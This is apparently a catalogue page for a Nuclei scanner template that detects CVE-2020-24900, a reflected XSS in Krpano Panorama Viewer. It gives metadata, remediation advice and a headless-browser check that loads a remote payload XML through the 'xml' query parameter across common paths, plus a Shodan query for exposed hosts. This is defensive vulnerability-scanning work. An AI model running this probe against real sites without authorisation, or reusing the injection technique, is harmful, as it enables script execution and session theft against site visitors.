SecurityContext

CVE-2020-24900: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting

  • Template: CVE-2020-24900
  • Name: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting
  • Description: The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the xml parameter in krpano.html. When passQueryParameters allows the xml parameter, a remote XML file supplied in the URL is loaded and its embedded Javascript action is executed in the origin of the viewer.
  • Impact: An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.
  • Remediation: Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include xml, instead of true.
  • Severity: medium
  • Authors: s4e-io
  • Tags: cve, cve2020, krpano, xss, headless, viewer
  • References: https://nvd.nist.gov/vuln/detail/CVE-2020-24900, https://krpano.com/docu/releasenotes/?version=12010, https://krpano.com/docu/embedpano/
  • Cves: CVE-2020-24900
  • Verified: yes
  • Max requests: 1
  • Directory: headless/cves
  • Path: headless/cves/2020/CVE-2020-24900.yaml
  • Digest: 4b0a004830460221009b9b7d274bad8dadd7f35fba2fb0a56564b3f681125847dd8642b08c45776bd702210085a0852b58f65a09f265d3290469758bf215f0fe3b0340eee38734d6fdbb3d97
  • Created at: 2026-11-06T09:26:27Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 18
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/headless/cves/2020/CVE-2020-24900.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01231
  • Epss percentile: 0.69701
  • Not known: cpe

Metadata

  • Max-request: 1
  • Product: panorama_viewer
  • Shodan-query: http.html:"embedpano"
  • Vendor: krpano
  • Verified: yes

Products

ProductIndexedUrl
krpano:panorama_viewerno—

Labels

  • Name: Krpano Panorama Viewer - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to the latest version of Krpano Panorama Viewer.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2020-24900

```yaml

id: CVE-2020-24900

info:

name: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting

author: s4e-io

severity: medium

description: |

The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the xml parameter in krpano.html. When passQueryParameters allows the xml parameter, a remote XML file supplied in the URL is loaded and its embedded Javascript action is executed in the origin of the viewer.

impact: |

An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.

remediation: |

Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include xml, instead of true.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2020-24900

- https://krpano.com/docu/releasenotes/?version=12010

- https://krpano.com/docu/embedpano/

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2020-24900

epss-score: 0.01231

epss-percentile: 0.69701

cwe-id: CWE-79

metadata:

verified: true

max-request: 1

vendor: krpano

product: panorama_viewer

shodan-query: http.html:"embedpano"

tags: cve,cve2020,krpano,xss,headless,viewer

variables:

payload: "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/CVE-2020-24900.xml"

flow: (http(1) || http(2)) && headless(1)

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'contains(body, "embedpano(")'

- 'contains(body, "passQueryParameters")'

condition: and

internal: true

headless:

- payloads:

path:

- "/"

- "/index.html"

- "/tour.html"

- "/krpano.html"

- "/vtour/index.html"

- "/vtour/tour.html"

attack: batteringram

steps:

- action: navigate

args:

url: "{{BaseURL}}{{path}}?xml={{payload}}"

- action: waitdialog

name: krpano_xss

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- 'krpano_xss == true'

extractors:

- type: dsl

dsl:

- 'BaseURL + path + "?xml=" + payload'

digest: 4b0a004830460221009b9b7d274bad8dadd7f35fba2fb0a56564b3f681125847dd8642b08c45776bd702210085a0852b58f65a09f265d3290469758bf215f0fe3b0340eee38734d6fdbb3d97:922c64590222798bb761d5b6d8e72950

```